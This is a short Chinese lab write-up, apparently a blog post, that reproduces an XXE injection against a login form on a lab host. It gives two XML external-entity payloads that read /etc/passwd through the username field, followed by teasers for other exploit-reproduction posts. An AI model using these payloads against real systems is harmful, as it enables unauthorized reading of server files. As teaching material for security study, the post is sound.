漏洞复现之xxe漏洞

文章目录

XXE-基础实验
- 实验内容
- 实验步骤
- - 1.访问目标进行注入攻击
  - 2.尝试进行登录，并进行抓包
  - 3.根据xxe注入漏洞，构造payloa
- 免责声明

XXE-基础实验

实验内容

XXE(XML注入)

实验步骤

1.访问目标进行注入攻击

访问目标IP：172.16.12.2，看到以下页面

2.尝试进行登录，并进行抓包

在数据包中发送的用户名/密码是以post形式发送的，并且格式很像xml文档

3.根据xxe注入漏洞，构造payloa

只需将payload输出在username里面就行

payload：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [<!ENTITY whoami SYSTEM "file:///etc//passwd">
]>
<user><username>&whoami;</username><password>123.com</password>
</user>

payload

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///etc/passwd">
]>
<root> <username>&sp;</username><password>123.com</password>
</root>

免责声明

本文档供学习，请使用者注意使用环境并遵守国家相关法律法规!
由于使用不当造成的后果上传者概不负责！

漏洞复现之xxe漏洞相关推荐

java 漏洞挖掘_Java XXE漏洞典型场景分析
本文首发于oppo安全应急响应中心: 0x01 前言: XML 的解析过程中若存在外部实体,若不添加安全的XML解析配置,则XML文档将包含来自外部 URI 的数据.这一行为将导致XML Extern ...
Jenkins cve-2016-0792 漏洞复现 Xstream 反序列化漏洞
环境搭建首先需要安装jenkins,这里使用的是1.642.1版本,其他版本可以自行下载,在官网和百度一开始都是没找到的,包括看了其他人的分析,但是都没有找到环境搭建,大部分是直接复现和poc分析 ...
php目录遍历漏洞复现,nginx解析漏洞，配置不当，目录遍历漏洞环境搭建、漏洞复现...
nginx解析漏洞,配置不当,目录遍历漏洞复现 1.Ubuntu14.04安装nginx-php5-fpm 安装了nginx,需要安装以下依赖 sudo apt-get install libpcre ...
CTFshow刷题日记-WEB-JAVA（web279-300）Struts2全漏洞复现，Java漏洞复现
全部题都是struts2框架漏洞 Struts2是用Java语言编写的一个基于MVC设计模式的Web应用框架关于struts2漏洞,vulhub都有环境并且给出了漏洞原理和poc GitHub项目地 ...
【漏洞复现】MS12-020漏洞（蓝屏攻击）复现
实验准备:win7(192.168.217.156),kali 实验步骤: 漏洞复现打开windows远程桌面方法:计算机–属性–远程设置用kali查看win7已打开的端口,可以看到3389远程 ...
【漏洞复现】MS17-010漏洞（永恒之蓝）复现
永恒之蓝漏洞复现漏洞复现对目标靶机建立用户,并且开启靶机的远程桌面,使用该用户进行连接实验准备:win7 (192.168.217.153).win10.kali.Xshell 实验步骤: 漏洞 ...
sqqyw（淡然点图标系统）漏洞复现和74cms漏洞复现
前言作者简介:不知名白帽,网络安全学习者. 博客主页:https://blog.csdn.net/m0_63127854?type=blog 漏洞复现专栏:https://blog.csdn.net ...
【漏洞复现】CVE-2020-0796漏洞复现（win10系统)
前言: Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品,Microsoft Windows是一套个人设备使用的操作系统 ...
20145330 《网络对抗》 Eternalblue(MS17-010)漏洞复现与S2-045漏洞的利用及修复
20145330 <网络对抗> Eternalblue(MS17-010)漏洞利用工具实现Win 7系统入侵与S2-045漏洞的利用及修复加分项目: PC平台逆向破解:注入shellco ...

漏洞复现之xxe漏洞

文章目录

XXE-基础实验

实验内容

实验步骤

1.访问目标进行注入攻击

2.尝试进行登录，并进行抓包

3.根据xxe注入漏洞，构造payloa

免责声明

漏洞复现之xxe漏洞相关推荐

最新文章

热门文章